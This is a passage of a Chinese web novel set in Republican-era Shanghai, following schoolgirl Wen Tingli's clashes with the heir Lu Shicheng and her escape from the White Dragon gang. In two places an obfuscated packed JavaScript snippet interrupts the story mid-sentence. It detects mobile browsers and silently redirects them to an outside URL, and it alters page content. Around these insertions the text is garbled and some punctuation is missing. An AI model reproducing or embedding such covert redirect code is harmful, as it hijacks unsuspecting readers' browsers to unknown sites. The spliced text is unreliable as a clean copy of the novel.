余振华笑吟吟立在陆世澄左边袁小姐红光满面站在陆世澄右边第一张拍完两位小姐均不满意异口同声请陆世澄动一动说这样才能显得她们脸蛋小巧些。 闻言陆世澄神色如常插着裤兜往后退一步余振华大笑着说“走反了”陆世澄又耐着性子前进一步。 闻亭丽在底下差点笑破肚皮陆世澄这样子怎么看怎么像风月场合里被两位阔太太关照的“少爷”。 那两位可爱的阔小姐更是笑靥如花想必连她们自己都没想到有机会搓磨陆世澄。 不一会闻亭丽捐赠的摄像机也拍出了一个不错的价钱竞拍者是乔治洋行的王姓小开签支票时这人也要求与捐赠人闻亭丽合影。 闻亭丽一上台就感觉一道目光叼住了自己垂眸一看就能看见陆世澄不动声色看着她。 那 目光是如此沉静却又意味深长。 想必他已经知道是她搞鬼了。闻亭丽竭力让自己不显得心虚却架不过陆世澄目光中的威迫感尽管他没多久就移开了视线闻亭丽仍时不时感觉后颈凉凉的合影之后王少爷趁势打听闻亭丽在何处念书又邀她第二日去看电影。 王少爷这一起头 闻亭丽不胜其扰寻个借口就下楼去寻乔宝心。 说来奇怪走廊上原本极热闹一路走下去却冷冷清清没几个人她正觉得奇怪猛不防看到楼梯下方立着一个人。 这人像是专门候在这里的。 看样子他来找她算账来了闻亭丽脚下一崴慌忙抓住楼梯扶手却没能及时收住力“咚咚咚”接连滑了无数个台阶径直摔向楼梯最底层。 绝望之下她紧紧闭上眼睛这下完了她的尾椎骨起码要摔成八瓣。 岂料有人及时伸手扶住了她。 一睁眼是陆世澄。 她心有余悸开腔:“谢谢。” 陆世澄闭了闭眼等她站稳后向后抽了抽自己的胳膊闻亭丽才意识到自己仍紧紧抓着陆世澄忙松开手悄悄一抬眼陆世澄在那儿睨着她表情看不出喜怒对她做了个“跟我来”的手势转身先走了。 闻亭丽佯装平静跟上去。 作者有话要说 陆世澄:记仇.jpg 闻亭丽:窃喜.gif 今天的两章都有红包不要错过哦。 早上提前发了晚上不必等明晚八点见。 第 22 章 演技大比拼。 再往下便是地下室了,格局和摆设跟楼上差不多,却比一楼和二楼要清净许多。 过道旁有一间房开门着,陆世澄也不进去,就那样停在门口望着闻亭丽。 闻亭丽跟上去立定,同时瞄了瞄左手边的房间,发现那是一间台球室。 “陆先生找我有事么?” 陆世澄表情平静,闻亭丽却再一次感到后颈发凉,她只想借故跟陆世澄搭上话,却没想过真正惹恼陆世澄,她忙作出恍然大悟的样子。“陆先生是要问洋装的事?您瞧,上次我要将洋装还给您您不理,那日遇见邝先生我又请示他一回,结果邝先生依旧没给个准话,那样昂贵的洋装,我总不忍心放在那里落灰。” 一面说一面觑着陆世澄的表情。 “碰巧黄金影业的影后段妙卿小姐因感冒不能来参加拍卖会,黄姐就把段小姐的票给我了,我想着既是拍卖义演,不如借这机会把那几套洋装捐出去,但衣服毕竟是您花钱买的,我不能厚着脸皮用您的钱为自己挣慈善名声,所以才特地嘱托登记处的办事员写上您的名字,我也是一片好心,您该不会是因为这件事生气了吧?” 这番话说得合情合理,陆世澄却再次笑了,这回有点气笑的意思,闻亭丽就差没把“无理取闹”四个字钉他脑门上了。 他忍着气左右一顾,怪他,为了顾全这位闻亭丽的面子连一个随从都没带,这会儿要同她讲道理都不方便。 台球室里并无纸笔之类的物事,他睨着闻亭丽,自顾自抬手从西装口袋里取出自来水笔和银票,闻亭丽意识到陆世澄要做什么,慌忙摁住他手里那张银票:“您又要在这上面写字吗?您没有名片么,写在名片上岂不是更好?” 陆世澄二话不说把银票从她的手里抽出来,闻亭丽咬了咬唇:“银票是用来花的,不是用来写字的,喏,这给您,陆小先生要教训我什么话,写在这上面即可。” 她从小手袋里取出一个小本子双手递给陆世澄。 陆世澄静了片刻,一把接过闻亭丽的小本子。 一打开,上面全是一行行手写的英文功课,他耐着性子继续往后翻。 “这里可以写字。”闻亭丽凑过去帮陆世澄翻到后面的空白处,又自行退回原地。这是她用店里闲置的帐簿裁出来的,故意裁 得极小,这样她平日坐电车时可以拿在手里背单词。 他很快就将本子还给她,上面龙飞凤舞多了几行字: 【托闻亭丽小姐的福,现在全上海都知道我有收集女士洋装的怪癖。 希望闻小姐下次做这种事之前可以提前跟陆某打个招呼。】 闻亭丽满脸愧疚,低头嗫嚅道:“我倒是提前跟陆小先生打招呼,但我既没有您的电话,也联络不到邝先生,今晚在门口见到陆小先生我本来想同您商量一下,但您身边围了太多人让我没办法开腔。 陆世澄把本子又一次抽回来。 【没有下一次了。闻小姐,上次因为我私人的缘故连累你受伤,针对此事,我由衷向你道歉。闻小姐还有什么不满意的地方,尽可以一次性提出来,就如上次米歇尔校长针对你时,你做的那样,但我不希望闻小姐下次再打着陆家的名头做任何事。】 写完这段话,陆世澄把本子还给闻亭丽,没再看她,径自越过她的身侧走向楼梯,看样子他要说的话已经说完了。 刚走两步,就听到身后传来极小的啜泣声,回头看,就见闻亭丽在那儿捧着小本子黯然哭着。 她眼泪噼里啪啦往下掉,一边哭一边委屈巴巴地说:“原来陆小先生知道我上次差点被务实开除的事,好意思说什么‘有什么不满意的尽可以提’,嗬,陆小先生净说大话!那次要不是我自己想办法,我早就被人撵出校门了。 陆世澄在原地一动不动睨着她。闻亭丽的哭声里半点乔装的成分都没有,看样子是真伤心。 “提,我跟谁提? 陆世澄身子一动,再次退回到她身边。 闻亭丽控诉归控诉,却不想叫陆世澄看自己这副鼻红眼肿的狼狈样,忙把头转到另一边,手中忽一空,陆世澄又一次把她的小本子抽走了。 本子还给她时,上头多了一句话。 【你什么时候毕业?】 闻 亭丽不明就里,噙着眼泪防备地觑他一眼:“八月底参加联考。” 【毕业前,如果学校有人再找你麻烦,你可以直接打这个电话。】 他从上衣口袋里取出一张薄薄的卡片递给闻亭丽。 闻亭丽胸口一阵急跳。 那是邝志林的名片——上海实业界一半商人梦寐以求的东西! 然而,当着陆世澄的面,她心里越是欢喜,面上就越不能流露半分,于是不情不愿接过名片,仍在那里哭,只是手里不忘紧紧攥住名片。 陆世澄本以为她这下不会哭了,岂料她眼泪掉得更凶了,他不由得别过脸去,半晌,对着闻亭丽的脚下指了指,闻亭丽虽然忙着哭,余光却注意着陆世澄的神态举止,好奇之下顺着低下头一看,谁知自己脚下什么都没有,再抬头,陆世澄径自上楼去了。 想了一想,闻亭丽才明白过来刚才那个手势的意思。 【闻小姐在这儿慢慢哭吧。】 闻亭丽觑着陆世澄身影消失的方向,噗呲一声含泪笑出声,举起手里那张名片,小声咕哝道:“真希望永远没机会找你,因为我可不想再遇到什么麻烦。” 也不知道陆世澄听没听见这话,反正那脚步声很快就远去了。 闻亭丽用帕子抹干眼泪,心情愉悦地上楼去。 不管怎么说,这一趟的目的总算是达到了。 楼上依旧热闹非凡,不,甚至比先前更热闹了。 大门口来了一帮不速之客。 白龙帮的老帮主曹振元不请自来。 客人中,一半忙着上前打招呼示好,另一半却是退避三舍,如非必要,谁也不想跟这样的地头蛇沾上关系。 曹帮主不是空手来的,他居然带了一对古董花瓶过来捐献。这举动分明是主动向陆家示好。换作别人家,不管心里愿不愿意,都得承下这份情。 但此刻负责招待曹帮主的邝志林,却只笑呵呵坐在那儿签支票,他愿意代表南洋工商联盟会出钱买下这对花瓶,却无论如何不肯让曹帮主入会。一旦接纳白龙帮,联盟会的其他老成员起码有一半会退会。 曹振元倒也沉得住气,手持烟杆在大厅里阔步慢慢踱着,无论他走到哪一块,那一块的宾客都会流露出些许惧意,末了曹振元立在落地窗户前 捋了捋雪白的长髯讶道:“怎么没瞧见陆公子?曹某另有好东西想请陆公子帮忙过目。” 邝志林笑道:“邝某也正寻我们少爷呢。” 闻亭丽挤在人群里看着这一切就听到身后的宾客小声议论:“瞧陆世澄压根不买白龙帮的账陆家的根基在南洋白龙帮那些手段在陆家面前全无作用听说白龙帮做梦都想跟陆家搭上关系做点买卖只恨没有门路闹到最后这位老帮主不得不舍下脸亲自出马了。” 这时一个人从曹振元身后绕出来附耳对曹帮主低声说着什么俨然在帮忙出主意闻亭丽目光一紧邱大鹏! 邱大鹏比之前足足胖了一圈笑容可掬油头粉面身上那套西装一看就是高级定制的站在人堆里比旁人更显眼。 看曹帮主对他的态度邱大鹏似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149145|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已混成了白龙帮的小头头了。 闻亭丽不自觉攥紧了拳头邱大鹏一扭头也看见了人群中的闻亭丽出其不意地他冲闻亭丽笑了笑笑容还算收敛却让闻亭丽寒毛直竖。 不一会南洋工会的理事过来请宾客们到花园里欣赏节目闻亭丽无心再逗留刚要走前面那个姓王的小开再次缠上来:“闻小姐这就要走了吗?你还没答应我的邀请呢。” 闻亭丽眼下哪有心思应付这人只管低头向外走这王姓小开脸上有点挂不住了:“闻小姐你倒是跟我说句话呀。对了刚才你去哪了到处都找不见你。” 有人接话:“人家去了何处用得着向你汇报么?” 一看乔宝心挽着孟麒光的胳膊在那边。 那姓王的小开气呼呼道:“孟先生我跟闻小姐说话又与你有什么关系?我偏要跟她说话闻小姐还未问令尊在何处高就呢。” 闻亭丽和孟麒光同时要开腔却有人笑着截过了话头:“闻小姐的父亲么邱某倒是熟得很。” 闻亭丽面色一沉白龙帮的人过来了哗啦啦数十号人如同乌云压境朝花园中心涌过来 “这就是属下上次跟您老人家说过的闻小姐。”邱大鹏忙着为曹振元开路同时笑吟吟望着闻亭丽。 曹振元眯了眯眼:“小姑娘灵啊。” “确实这样标致的孩子属实少见不怪 我家那个臭小子老在心里惦记。 曹振元微愕:“连凌云都瞧不上? 邱大鹏苦笑:“闻小姐心气高得很。不怪她,怪凌云自己不争气。 曹振元蔼然摇头:“那是过去,最近凌云也在学着在帮里管事了,不论学问还是本事都已是今非昔比,你再好好问问这小姑娘的意见,说不定小姑娘又愿意了。 邱大鹏笑道:“还是您老人家见事明白。也好,等下我就亲自送这个孩子回家去,亭丽,你跟凌云之间有点误会,路上邱伯伯正好跟你好好聊聊—— 孟麒光冷冷打断邱大鹏:“曹帮主—— 曹振元走到孟麒光身边拍拍他的肩膀:“麒光啊,许久不见你了。 说话间,又有几个人围住闻亭丽,乔宝心有些无措,试图将闻亭丽护在自己身后:“你们——表舅。 孟麒光沉着脸便要朝这边走,却被曹帮主死死扣住肩膀:“难得今晚这般热闹,跟我这老东西坐下来叙叙旧,来,我们到那边去。 闻亭丽瞬间被一帮人团团围住,不由得暗自攥紧拳头。 可越是情势紧急,她的脑子越是转得快,忽一眼瞧见前方穿过花园的邝志林,忙扬声说:“邝先生,您刚才不是说校方会派车送学生回学校吗?请问车在哪里? 邝志林一愣。 闻亭丽趁势推开众人走到邝志林面前,背着所有人的面,将手里的名片在邝志林的眼底悄悄露出一角。 “邝先生。她屏住呼吸小声说,“请帮忙找人送我回家。 邝志林面上更加惊讶,那是他的名片,除了他自己,只有陆世澄可以作主将他的名片递给其他人。 澄少爷何时—— 他惊疑不定凝视着闻亭丽,又看看闻亭丽身后虎视眈眈的白龙帮,仅仅犹豫一秒钟,便露出笑容做出回应:“不错,务实有校车可以送闻小姐回家。我正要派人找闻小姐呢,我们走吧,车在那边。 闻亭丽大松一口气,回过头给了乔宝心一个宽慰的眼神。乔宝心正是满眼担忧,忙走到闻亭丽的耳边极小声地叮嘱了几句。 闻亭丽点点头:“嗯,我知道,你别担心,我走了。 曹帮主和邱大鹏面面相觑,可当着邝志林的面,却也不敢轻举妄动,只能眼睁睁看着闻亭丽离开了花园。 作者有话要说 第 23 章 【加更】你来我往... 邝志林办事极麻利,闻亭丽刚走出大门所谓的务实“校车”就已经在街边等着了。 不仅如此邝志林自己也在车前候着。 “闻小姐。” 人一少,他眼底的疑惑之色又浮了出来。 闻亭丽恳切地看着他说:“谢谢邝先生。” 邝志林回头淡淡看向花园里白龙帮那帮人倒没再说什么,只关照司机。 “把闻小姐送回家。” 闻亭丽二话不说钻上车。 车一发动,她才发觉自己双腿有些发软,她默不作声咬紧牙关心里充满了对邱大鹏的憎恨,早晚有一天,她要亲手宰了这老宗桑! 白龙帮果然不敢招惹陆家回去的路上,后头连一辆可疑的车都没有。 司机先把闻亭丽送到白尔路的租处,闻亭丽回寓所换了衣服,又拜托司机把她回到慈心医院。 一进病房闻亭丽绷紧的神经一松,瘫坐到床边椅子上她多么想念邓院长,换作往常,她会第一时间将今晚的遭遇同她老人家说一说,现在却连个倾诉的对象都没有。 陪护在对面小心翼翼觑着闻亭丽:“闻小姐,你怎么啦?怎么看上去杀气腾腾的。” 闻亭丽回过神,若无其事拿起柜上的脸盆:“我去打点水。” 这一小会工夫足够她把一切都想明白。邓院长昏迷不醒,父亲更是指望不上。 要对付邱大鹏,还得她自己来。可是她单枪匹马,又该如何成事呢? 她慢慢在走廊上踱着,眼睛里不知不觉再次浮起戾色路过护士办公室时停下脚朝里看。 “请问刘护士长在吗?”她笑问。 捱到熄灯时分刘护士长果然寻过来了。 “闻小姐你出来一下傍晚你不在汤普生大夫给你父亲换了几剂新药我帮你说一句。” 一出病房刘护士长就把闻亭丽领到后头一间空置的库房推门进去厉成英在里头等着。 闻亭丽迅速掩上门:“您怎么在这儿?我正要给您打电话。” “我刚回上海听老包说你独自去参加拍卖会怕你一个人应付不来特地赶到花园坊外面守着会场里有我们的人白龙帮的人找你麻烦时 来眼看邝志林派车送你才作罢。先不说邝志林看样子邱氏父子对你还没死心?” 闻亭丽恨恨然嗯了一声。 厉成英眼神凌厉了几分:“邓院长出事前就曾叮嘱我们关照你只因不便暴露你与我们的关系此事才耽误下来我会尽快找一位中间朋友‘引荐’你和老包认识对外只说老包是你父亲的故交老包在政商界有不少朋友邱大鹏绝对不敢再找你麻烦。” 闻亭丽试探着说:“可是外界都知道包律师是邓院长的好朋友如此一来大家不免会怀疑我跟邓院长早有私交陆家那边听到风声自然也会防备我那样我还如何调查刺杀的事?” 厉成英微笑:“假如没有今晚的事我们这边的确不好动出了今晚这样的乱子倒正好可以为你们‘引荐’了姓邱的公然找你麻烦你为了自保临时想办法托人介绍你跟曙光律师事务所搭上关系这个理由岂不是顺理成章?” 听完此话闻亭丽并未露出惊讶的表情厉成英心中一动笑问:“你是不是早就想好了要这样做?刚才你托刘护士长找我就是跟我商量对付邱大鹏的计划?” 闻亭丽甜笑着没否认。 厉成英赞许地点点头:“请记住懂得保护自己最要紧。正想问你呢你是怎么说动邝志林护送你走的?陆家虽然从不买白龙帮的账 闻亭丽大致说了一下以陆世澄的名义拍卖洋装的事说到最后她耸耸肩:“反正是费了好多工夫才跟他搭上话。对了您查清那间‘敦普儿’洋行的底细了吗?” “是一间信誉极好的德国老洋行货仓设在武汉那日一从你这得到线索我就动身去了武汉找当地的朋友托人查了几日总算弄到了一份敦普儿最近三月的报关单这一查才知道这家最近并未承运过药品。” 闻亭丽莫名松了口气:“所以……不是陆世澄做的?” 厉成英眉头仍蹙着:“调查敦普儿期间有一桩意外收获。敦普儿洋行本由姐弟二人共同经营几年前姐弟俩因经营理念发生分歧自此一分为二弟弟以‘力最时’之名在不少城市开了新型货栈为了从姐姐手中争夺老顾客对外宣称可以承办一切货物敦普儿不敢承办的钨丝等贵重金属‘力最时’却可 以代为报关和承运,我们在敦普儿未查到药品转运的迹象,却意外在力最时的货仓查到了一点线索,顺着往下挖,查到‘力最时’的新任经理两月前曾经跟南洋那边有过接触。” 闻亭丽一愣:“可是……那张敦普儿的报货单是在陆世澄的书房发现的,敦普儿姐弟已然分家,陆世澄既然选择继续跟敦普儿合作,又怎会与新分家出去的‘力最时’建立业务关系?” “这件事不外乎两个解释:陆世澄为了掩人耳目故意如此;另一种解释是,委托力最时承运药品的的确是陆家人,但不是陆世澄。” 闻亭丽想了想:“难道是陆老先生?” 厉成英缓缓摇头,“近些年陆鸿隽已经不大管事了,但陆世澄有两个叔叔,人称陆二爷和陆三爷……陆二爷前年因一场车祸变成了植物人,那位陆三爷却还活在世上,只不过被陆世澄打压得无法动弹。倘或这件事不是陆世澄指使,那么或许与陆三爷有关。” “这位陆三爷现在何处?” “在北平养病,但他应该留了不少眼线在上海,假如那批药是陆三爷的,那么这次刺杀很可能就与陆世澄无关了,他们叔侄俩几乎是势不两立。” 闻亭丽点头不语。 厉成英看看自己的腕表。“今日实在是不早了,我长话短说吧,你极聪明,才几日,已经为我们提供了一份重要线索,陆三爷那边我们会立即着人去查,我过来除了跟你说这件事,也是想问问你今晚有没有从陆世澄和邝志林口里听到什么线索。” 闻亭丽耷拉着脑袋摇头:“陆世澄虽然把邝志林的名片给了我,但他好像很烦我,我猜我接下来很长一段时间都不会见到他了,至于邝先生,他的嘴巴就跟上了封条似的。” 厉成英苦笑:“嘴不严的人,也不可能成为陆世澄的心腹。不急,老包那里已经安排好了,最多再熬两日就能安排你和他‘见面’,消息传出去,邱氏父子自然不敢再骚扰你。这两日你出门当心些,我会派人到你学校附近守候,你是五点半放学对么?记得留意一辆白色的洋车,那是我们的人。” 厉成英拿起手提包就要走,闻亭丽忽道:“厉先生,我想同你讨一样东西。” “什么?” “枪。” 厉成英错愕回身。 闻亭丽极严肃地望着厉成英:“您有!对么?” “你要枪做什么?” 闻亭丽尽量让自己的口吻显得平静:“今晚您和包律师把一切都考虑到了结果拍卖会上还是出了一些乱子您不大清楚邱氏父子的为人我却相当了解他们邱大鹏吃了闷亏这两天一定会想办法探知我和陆家之间是否有交情若被他发现陆家与我毫无瓜葛定会再来找我麻烦我需要一件能够防身的武器而且即便有曙光律师事务所庇护我 说完这话闻亭丽屏息等待着可她终究失望了只见厉成英摇摇头:“不行你不会射击枪放在你身上未必是好事。” “我可以学!”闻亭丽目光里透着坚定和急迫。 厉成英却很坚决:“你说的情况我们会好好斟酌但这绝非小事回头等我们好好商议之后再做决定。” 闻亭丽还要再说厉成英却二话不说拉开门出去了。 *** 第二日闻亭丽坐车上学时慈心医院门口果然多了一辆白色的洋车。 闻亭丽上电车这辆白汽车立即跟上来。 闻亭丽进务实中学白汽车就不着痕迹地就停到街对面。 这一切落入闻亭丽眼中让她安心又感激尽管厉成英不肯给她枪但在保护她安全这一块却毫不含糊。 弄不到枪闻亭丽只能暂且将心里的那个对付邱大鹏的计划搁置下来踏踏实实上了一天学。 傍晚放学时班主任柳苑华公布了上礼拜的小考排名这次考试的排名基本可以预估联考时的成绩。 班主任一走学生们沸腾起来。“闻亭丽你还没想好要报哪里吗?”燕珍珍忙着问她。 闻亭丽面前摊着一沓招生剪报闻言摇摇头换作往常她一定会大大方方说自己立志像邓院长那样学医科而今为了避嫌也不敢在好朋友面前说实话。 “要不我们一起报考圣约翰的戏剧系吧?”赵青萝兴冲冲坐到两人面前“这次你考了班上第九名!柳先生都夸你进步很大以你现在的成绩说不定可以试一试圣约翰。” 闻亭丽:“分数还是有点差距的等下次 考完再看看,你不打算念教育系啦? “圣约翰也可以选修教育课。赵青萝说,“经历过上次的话剧比赛,我对戏剧的兴趣越来越浓了,将来我想做一名戏剧导演,多导一些有社会意义的话剧,燕珍珍你呢? 燕珍珍百无聊赖的样子:“我的志愿从来没变化——搞文学,可是我有的选么?我爹希望我跟他一样搞外交,早就规定我只许在政治系和英文系里这两个专业里挑。 闻亭丽跟赵青萝对视一眼,燕珍珍一直将月照云视作自己的偶像,平时经常私底下写写文章或小说,闻亭丽从她抽屉里拿出一沓手稿,很可惜地说:“那你的小说呢? “埋掉,以后都不写了。燕珍珍老气横秋地叹口气,“人生哪能没有遗憾呢。我要惩罚我爹,他亲手扼杀了一个文学家。 “别呀,就算你学别的专业,又不是不可以继续写小说。 三个人约好了礼拜天去赵青萝家里好好研究填志愿的事,说了这么久的话,闻亭丽比往常迟了三十分钟才出来。所幸那辆白色的洋车仍停在附近,只是车上的司机不似早上那样沉得住气,竟立在路边频频向校门内张望。 眼见闻亭丽出了校门,这人才不动声色重新上车。 闻亭丽挤上电车,一径坐到伯顿路,从这一站下车,再转一趟电车就到慈心医院了。 刚下车,忽听身后传来凄厉的刹车声,路边行人说:“哎哟,后头那两辆洋车要‘打架’了。 闻亭丽向后瞧,一辆黑色洋车突然横穿马路,一下拦在那辆白色洋车前面。 紧接着,黑色洋车上下来几个白龙帮的人团团围住那辆白车。 闻亭丽心一沉,莫非叫白龙帮的人看出这辆白车是专程来保护她的了,她急忙跑到路边电话亭给曙光律师事务所打电话,接电话的是助手,包律师此刻并不在事务所。 闻亭丽紧接着给厉成英打电话,然而不等电话接通,对面突然有两个白龙帮的人朝她这边看过来。 闻亭丽见势不妙,挂断电话抢先跳上一辆黄包车,催说:“慈心医院,拜托师傅快一点! 只需捱过这一阵,厉成英那边一定会派人过来解围。 黄包车载着闻亭丽拐过一个弯,又过一条马路,前方出现一条僻静的巷 子,这是最近的一条路,这时,前方巷口突然出现几个人拦住去路,清一色的银白色短褂长袴,个个口里都叼着烟。 师傅不明就里,赔着笑脸说:“小兄弟,请让一让。 那几个人却流里流气笑起来:“让?挡路的不是你们吗? 不等师傅拖着车向后退,后方又来几个人堵住退路。 一帮人围拢过来推推搡搡,动作和语气凶蛮得很,眼看要将师傅搡倒在地,闻亭丽突然从车上跳下来。 那人这才换了一副和悦的表情:“闻小姐,明人不说暗话,我们邱舵主在车上等你,随我们走一趟吧。 闻亭丽心中暗恨,咬牙随这帮人走出巷子,前方果然停着一辆车。 车窗摇下来,露出油头粉面的一张阔脸,邱大鹏翘着二郎腿坐在后座。 “亭丽啊。邱大鹏掸了掸手里的雪茄,“这就是你的不对了,刚才邱伯伯在后头叫你一句,你怎么跑得比兔子还快。 闻亭丽看看四周,这地方离慈心医院已经很近了,于是笑道:“邱伯伯是专程来医院探望我爹的吧?他可是托您的福才变成现在这样,都到门口了,你不去瞧瞧他么? 邱大鹏脸皮比城墙还厚,摆摆手说:“兄弟早就想来探望大哥,奈何大哥对兄弟误会太深,贸然进去探望,只怕大哥急火攻心,今日我找你,是为了凌云的事—— 他脸色忽一阴:“托你的福,凌云被孟先生的人打得全身没一块好肉,养了这么些日子,身上还有几处骨头未好,可怜这孩子,被打成这样还日夜惦记着你。大夫说了,心病还需心药医,今日邱伯伯特地令大东楼的师傅在家里准备了一桌好菜,就为了招待你。你和凌云在饭桌上把误会解开,只要你在,这孩子不论是骨伤也好,心病也罢,全都能养好。 说着冲手下人一摆手,闻亭丽冷笑:“我和邱凌云之间实在是没什么误会,他究竟为何挨打,他自己心里清楚,再说打他的人又不是我,您这话该去跟孟先生说。 邱大鹏眯了眯眼:“邱伯伯知道,你如今大了,认识的人也多了,仗着有人撑腰早不把邱伯伯放在眼里了,可惜,今日既然在此地撞着了,邱伯伯势必得教你一些做人的道理!凌云还在家等着呢,快把闻小姐请上车。 闻亭丽急 得四面张望,捱了这么久还不见包律师和厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149146|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成英的人过来。 这一愣神的工夫,两边的人就要把她拖上车,她愤然一挣,从书包里掏出一张名片,到处找公共电话亭。 邱大鹏眼睛极尖,一眼就看见了名片上硕大的“邝”字,他却不似上回那般忌惮,只轻蔑地哼笑一声:“拉幌子拉上瘾了?邱伯伯已经打听清楚了,陆家根本不认识一个姓闻的。上回人家看在你务实学生的份上帮你招一回车,没想到你又来这一招,邝先生知道自己跟你很熟么?” 闻亭丽之所以拿出邝志林的名片,不过是为了拖延时间,眼见一帮人重新围过来,瞪着眼睛说:“熟还是不熟,当面打个电话不就知道了?只要告诉邝先生我在甘家巷遇到了大麻烦,他绝对会派人过来。你们还是趁早走吧,省得回头吃大亏。” 说罢,她疾跑几步钻进最近的电话亭,拿起话筒作势要打电话。 假模假式拨了几个号码,却不肯把全部号码拨完。 这回不必邱大鹏拆穿闻亭丽,几个喽啰也大笑起来:“这小姑娘不得了,花架子摆得够足,刚才差点被她给唬住了。” 邱大鹏手指间夹着一根雪茄,得意洋洋抬了抬手:“诶,别笑话这孩子,让她打。” 闻亭丽脑中飞转,这当口她又能给谁打电话,燕珍珍?赵青萝?乔宝心?无论如何她都不忍心把她们扯到这么污糟的事情中来。 邱大鹏耐心告罄,冲手下人摆摆手,一帮人呼啦啦围住电话亭。 “快出来吧!”闻亭丽心一横,当着众人的面拨起了邝志林名片上的号码。 一帮人愣住了。 打过去,那边却无人半天没有接电话。 白龙帮的人再次公然发笑:“闻小姐怎么不开腔?你不是要跟这位‘邝先生’说你遇到麻烦了吗,来来来,我们好心替你报地址,‘甘家巷,邝先生快来’。” 那人故意捏着嗓子尖声说话。闻亭丽焦急地等了几声,便要挂掉电话,电话那头却突然传来一点动静,闻亭丽一惊之下,险些没握稳话筒,看这架势那头似乎有人,她吓得忙说:“我、我找邝先生,我是闻亭丽。” 然而那边却久久没人吭声,她万般无奈,只得挂掉电话。 *** 库伦路的某间寓所 ,陆世澄刚进门就听到一阵急促的电话响。 他随手把西服外套扔到沙发上,这是邝志林的私宅,电话轮不到他来接。 一个钟头前,邝志林约他在此见面。谁知刚到楼下,力新银行那边出了点小状况请邝志林过去处理,邝志林下楼把钥匙交给他,自己开车走了。 偌大一间寓所现在连个下人都没有。这不奇怪,每回邝志林向他汇报要事时,都会把附近的闲杂人等提前清走。 电话依然在响。 陆世澄置若罔闻,案几上放着茶水,他欠身拿起一杯水喝了几口。 渐渐地,陆世澄觉得那铃声比雷声还吵。 他不耐地瞥瞥自己的腕表,这个点正是饭点,也许,那边的人有什么急事找邝志林? 终于,他起身拿起电话。 刚把话筒放到耳边,里头传来几个男人的调笑声。 “我瞧她打算装到什么时候。 “……甘家巷,邝先生快来。 这期间,话筒边有个人的呼吸一下下重重拂在麦克风上,听上去极为焦灼。 陆世澄握着话筒静静等待,那头的谑笑声越来越放肆,打电话的人却始终一句话都未说。 陆世澄垂眸看看手中的水杯,突然将其搁到桌上,力气故意大一点,发出咚的一响。 电话那头果然听到了这边的动静,倏地一默,忙说:“我找邝先生,我是闻亭丽。 *** “你所谓的邝先生在哪呢?一伙人大笑着拉开电话亭的门,“这下你还有话说吗? 闻亭丽不等对方拉扯自己,反身用肩抵住门。 “你们懂什么,刚才接电话的是那位陆公子!陆家很快就会派人过来! 众人越发笑得打跌。 “我说我是天王老子你信不信? 闻亭丽虚张声势:“我的话究竟是真是假,再等个十分八分钟不就知道了?万一我说的是真的,你门就不怕陆家找你麻烦? 邱大鹏将雪茄扔到脚下踩了踩,拉长了声道说:“听她的,那就再等一等,假如你真能请动陆先生,你帮邱伯伯引见引见如何? 闻亭丽心头微松,她不信十分钟后厉成英的人还找不过来。 拖得一刻钟,是一刻钟。 十分钟过去邱大鹏等得脸上泛起了油光巷子口也不见有人来。 很好他像个傻子似的又被这孩子耍了一遭!一扭头他没好气地说:“把她给我拖到车上去!” 闻亭丽拼命抵住电话亭的门然而一个人怎敌得过这帮流氓就在她即将被强拽出去的那一刻巷口诡异地一静。 巷口悄然多了个人这人插着裤兜立在那儿一副刚巧路过此地的样子夕阳照在巷口把那人的腕表照得熠熠生辉这个人先是半信半疑朝里瞧了瞧看清里头的情形面色一淡朝一行人走过来。 邱大鹏僵在了原地。几个流氓闻声一回头也似被定住了。 闻亭丽的表情更是见了鬼似的 “陆、陆公子。” 众目睽睽之下陆世澄径直走到电话亭前向前一伸手几个流氓愣愣地缩回自己的爪子就这样陆世澄毫不费力地拉开了门。 闻亭丽几乎是一个箭步从里边跳到陆世澄身前。 这时邱大鹏终于回过神来眼看陆世澄目光扫向自己忙腆着笑脸向后退:“误会!一场误会亭丽邱伯伯就不送你了——” 剩下的那几个流氓也是如梦初醒随邱大鹏一窝蜂跑到车边纷纷跳上车轰隆一声驾车跑了。 闻亭丽现在顾不上管邱大鹏因为她整个人都处在极大的震惊中。 大白天见鬼也不会比在这里看到陆世澄更让她吃惊刚才她不过是信口胡说难不成那电话真是陆世澄接的。 “陆先生。”她结结巴巴地说“您怎么会在这儿?” 陆世澄眼看白龙帮的人一下子跑了精光这才回头上下打量闻亭丽确定她没有受伤也没停留掉头向巷子外头走去。 闻亭丽二话不说跟上去:“您是刚巧路过这儿?还是?难道刚才电话那头是陆先生?” 陆世澄没有接茬的意思。 闻亭丽却一下打开了话匣子。 “我发誓我没想过打搅邝先生前面我只是想用邝先生的名义吓吓姓邱的。电话那头一直没人声我以为没接通就没马上挂断。谁知道谁知道被你接了。” 她庆幸又好笑说着说着 “天底下竟有这么巧的事陆先生 第 24 章 见招拆招。 闻亭丽错愕地望着那行字。由于太过震惊,这回她安静了足有十秒之久。 但很快,她就欣然点头:“让我好好想想,要不我请您去广雅居,它家的糟都是自己特制的,一道白糟腌青鱼鲜得不得了,另外它家的鳝糊面和草头圈子都比别家做得好吃。” 陆世澄示意她带路。闻亭丽愈加高兴,抬手指了指指街对面:“那馆子在唐家巷的后面,不好找的,我们先过马路。” 说着便要在前领路,陆世澄却拦住她。 